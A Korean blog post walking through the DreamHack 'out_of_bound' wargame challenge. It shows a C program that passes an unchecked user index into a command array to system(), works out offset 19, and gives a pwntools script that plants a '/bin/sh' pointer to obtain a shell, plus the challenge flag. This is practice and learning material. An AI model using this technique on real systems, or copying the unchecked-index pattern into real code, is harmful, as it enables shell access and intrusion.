이 영역을 누르면 첫 페이지로 이동
포렌식 & 개발 이야기 - Forensics & Development 블로그의 첫 페이지로 이동

포렌식 & 개발 이야기 - Forensics & Development

페이지 맨 위로 올라가기

[DreamHack] out_of_bound

포렌식 & 개발 이야기 - Forensics & Development

[DreamHack] out_of_bound

  • 2024.07.11 13:10
  • Best of Best
글 작성자: pental
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = {
"cat",
"ls",
"id",
"ps",
"file ./oob"
};
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}

간단한 out_of_bound 취약점이 펑펑 터지는 문제이다.

main함수에서는 index를 정수형으로 선언하고, 전역변수로 name에 16의 크기를 주었다.

그리고 read 함수를 통해서 name 크기만큼 입력 받을 수 있다고 한다.

# name Address = 0x0804a0ac
# command Address = 0x0804a060

Name변수와 command의 변수의 주소값은 각각 위와 같다.

name변수에 값을 입력 받고 return값 위까지 4바이트가 더 붙는다.

name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
 
이렇게 16바이트를 채워주고, index의 참조 범위는 p32(px804a060) - p32(0x804a0ac)
 
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]

 
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
 
따라서 19만큼을 넣어주면 취약점이 펑펑~
 
from pwn import *
p = remote("host3.dreamhack.games", 19391)
p.recvuntil("Admin name: ")
payload = p32(0x804a0ac + 4) + b"/bin/sh"
p.sendline(payload)
p.recvuntil("What do you want?: ")
p.sendline("19")
p.interactive()
'''
# name Address = 0x0804a0ac
# command Address = 0x0804a060
name = (0x804a0ac + 4) => 8 + 4 = 12bytes + b"/bin/sh" = 4bytes = 16bytes
index Reference = p32(px804a060) - p32(0x804a0ac)
> 0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
eax * 4 + 0x804a060 ==> index Reference / 4 = 19
DH{2524e20ddeee45f11c8eb91804d57296}
'''

 

이 글은 (새창열림) 본 저작자 표시, 비영리 규칙 하에 배포할 수 있습니다. 자세한 내용은 Creative Commons 라이선스를 확인하세요.
Creative Commons
본 저작자 표시
비영리

'Best of Best' 카테고리의 다른 글

[DreamHack] off_by_one_001  (0) 2024.07.11
[DreamHack] cmd_center  (0) 2024.07.11
[DreamHack] Return Address Overwrite  (1) 2024.07.09
[BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님  (0) 2024.07.03
[BOB 교육] 금융보안 인프라 - 이현정 멘토님  (0) 2024.07.03

댓글

댓글을 사용할 수 없습니다.

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [DreamHack] off_by_one_001

    [DreamHack] off_by_one_001

    2024.07.11
  • [DreamHack] cmd_center

    [DreamHack] cmd_center

    2024.07.11
  • [DreamHack] Return Address Overwrite

    [DreamHack] Return Address Overwrite

    2024.07.09
  • [BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님

    [BOB 교육] 실무로 알아보는 개인정보 안전성 확보조치와 유출사고 대응 - 김두민 멘토님

    2024.07.03
    이 글은 보호되어 있습니다.
다른 글 더 둘러보기

정보

포렌식 & 개발 이야기 - Forensics & Development 블로그의 첫 페이지로 이동

포렌식 & 개발 이야기 - Forensics & Development

  • 포렌식 & 개발 이야기 - Forensics & Development의 첫 페이지로 이동

검색

메뉴

  • 홈
  • 태그
  • 방명록

카테고리

  • Category (452)
    • Forensics (105)
      • Magnet AXIOM (28)
      • Digital Forensics Informati.. (9)
      • Iphone Forensics (24)
      • DFC (7)
      • 디지털포렌식전문가2급 자격증 (10)
      • FTK ACE 자격증 (7)
    • 이것저것 (7)
      • Ubuntu (6)
      • 디스코드 봇 (4)
      • Volatility GUI (2)
    • CTF (32)
      • NEWSECU (14)
      • CTF-d (5)
      • Puzzel - Network Forensics (2)
      • Security Traps (2)
      • system32.kr (5)
      • HMCTF (4)
    • Programming (260)
      • C (10)
      • Python (11)
      • 백준 (206)
      • 프로그래머스 (32)
    • 그냥 개발 및 잡담 (16)
      • Docker (2)
      • Google Cloud (3)
      • OS 개발 (3)
    • Best of Best (20)

인기 글

공지사항

태그

  • axiom
  • 백준
  • 포렌식
  • Forensics
  • 디지털포렌식
  • pental
  • 프로그래머스
  • 파이썬
  • 전체 보기…

정보

pental의 포렌식 & 개발 이야기 - Forensics & Development

포렌식 & 개발 이야기 - Forensics & Development

pental

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © pental.

티스토리툴바

개인정보

  • 티스토리 홈
  • 포럼
  • 로그인

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.